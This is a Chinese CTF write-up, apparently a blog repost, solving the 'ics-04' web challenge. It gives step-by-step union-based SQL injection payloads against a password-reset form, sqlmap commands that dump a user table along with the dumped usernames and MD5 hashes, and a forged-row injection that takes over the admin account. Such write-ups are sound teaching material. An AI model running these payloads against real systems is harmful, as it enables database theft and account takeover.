zoukankan      html  css  js  c++  java
  • ics-04

    ics-04

    根据提示我们直接观察注册和登录界面,先注册个账号,然后登录进去,提示普通用户登录没用,说明有一个非普通用户登录就会显示flag,这个用户的账号密码都在数据库里,所以我们进行sql注入,找到该用户的信息。

    先扫一下登录界面,没有注入点

    python2 sqlmap.py -r test1.txt --batch


    在扫一下注册界面,没有注入点


    扫一下忘记密码界面,这里存在注入点


    手工注入

    构造123456'''""""返回没有这个用户

    构造123456' -- +返回正常

    构造123456' and 1=1返回没有这个用户

    这就说明查询为假和查询语法错误都返回没有这个用户

    查询为真时返回正常

    爆列数

    123456' order by 5 返回没有这个用户

    123456' order by 4 返回正常

    说明列数是4列

    爆数据库

    13456' union select 11,22,33,44 -- +第三个位置回显

    接着构造13456' union select 11,22,datAbase(),44 -- +

    没有回显database(),说明database()被过滤了,并且大小写过滤没啥用。

    然后我试着直接爆表

    13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema=database() -- +

    发现这时也没有回显表名,说明这要第三个位置有database()这个字符,就不会回显我们想要的信息,我们试着绕过database()的书写。

    构造13456' union select 11,22,group_concat(schema_name),44 from information_schema.schemata -- + 成功爆出数据库information_schema,cetc004,mysql,performance_schema

    我们所用的数据库是cetc004

    爆表

    13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema="cetc004" -- + 爆出user表

    爆列名

    13456' union select 11,22,group_concat(column_name),44 from information_schema.columns where table_name="user" -- +

    username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view

    虽然爆出这么多表,但实际上就只有前4个有用

    爆具体列

    13456' union select 11,22,group_concat(username,"~",password,"~",question,"~",answer),44 from cetc004.user -- +

    爆出

    c3tlwDmIn23~2f8667f381ff50ced6a3edc259260ba9~cetc~cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,123456~e10adc3949ba59abbe56e057f20f883e~123456~123456

    显然密码经过了md5加密

    sqlmap爆库

    将bp抓包,将请求头放在sqlmap.py下的文件目录下

    python2 sqlmap.py -r test3.txt --current-db --batch 这里sqlmap也没爆出当前数据库,原因在于database()被过滤了


    爆数据库

    python2 sqlmap.py -r test3.txt --dbs --batch

    爆表

    python2 sqlmap.py -r test3.txt -D cetc004 --tables --batch

    爆列名

    python2 sqlmap.py -r test3.txt -D cetc004 -T user --columns --batch

    爆具体字段

    python2 sqlmap.py -r test3.txt -D cetc004 -T user -C "username,password,question,answer" --dump --batch

    思路一

    爆出数据库后,就卡在这里做不出来了,看了wp才知道这里有着同一个用户名可以多次注册的漏洞。

    我们已经知道了存在一个c3tlwDmIn23的用户,猜测登录这个用户就可获得flag,所以我们在注册页面,再用这个名字注册一个账户,密码自己随便设置,然后再登录用我们自己的密码即可。


    猜测后台类似代码类似于

    if($SESSION["username"]=="c3tlwDmIn23")
    {
      echo "flag{*******}"
    }
    

    思路二

    在忘记密码界面进行抓包。


    发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析是通过SESSION判断


    每当用户查询成功一次,就会返回与这个用户相对应的PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,这个SESSION对应数据库的信息,然后在之后的表单提交过程中进行对比。

    例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。然后将再将这个session,返回给客户端,以后再访问该页面时,就会带上该对应的PHPSESSID,实现了会话的维持。

    function login($username,$password)
    {
    	....sql查询
    	if(登录成功)
    	{
    		session_start();
    		$_SESSION['username']=$username;
    		$_SESSION['password']=$password;
    	}
    }
    

    而这道题后台大概的修改密码的php代码可以为猜测如下:

    function check_user($username)
    {
    	$sql = "select * from user where username = '$username'";
    	$row = db_query($sql);
    	if(count($row)>0)
    	{
    		session_start();
    		$_SESSION['islogin'] = true;
    		$_SESSION['username']=$row[0]['username'];
    		$_SESSION['password']=$row[0]['password'];
    		$_SESSION['question']=$row[0]['question'];
    		$_SESSION['answer']  =$row[0]['answer'];
    		return true;
    	}
    	else
    	{
    		return false;
    	}
    }
    
    function update_password($answer,$password)
    {
    	session_start();
    	if($_SESSION['islogin'])
    	{
    		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
    		{
    			session_start();
    			$_SESSION['auth'] = true;
    			return true;
    		}
    		else
    		{
    			return false;
    		}
    	}
    	return false;
    }
    
    function change_password($password)
    {
    	session_start();
    	if($_SESSION['auth']&&$_SESSION['islogin'])
    	{
    		$password = md5($password);
    		$sql = "update user set password='$password' where username='$_SESSION['username']'";
    		db_query($sql);
    		return true;
    	}
    	return false;
    }
    

    然后我们构造

    1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'# ,其中202cb962ac59075b964b07152d234b70是123的md5加密,

    然后密保答案就是2

    密码就是123

    进去修改密码页面,再改c3tlwDmIn23的密码,然后登录即可得到flag

    参考博客:https://www.cnblogs.com/suferma/p/12852430.html

  • 相关阅读:
    卷积池化函数
    keyring源码加密解密函数分析
    mysql语句批量产生大量测试数据
    InnoDB表存储结构及keyring加密
    cmake安装使用
    神经网络推导
    C#基础 集合
    C#基础 数组
    C#基础 类
    C#基础 for 穷举、迭代
  • 原文地址:https://www.cnblogs.com/NineOne/p/13896373.html
Copyright © 2011-2022 走看看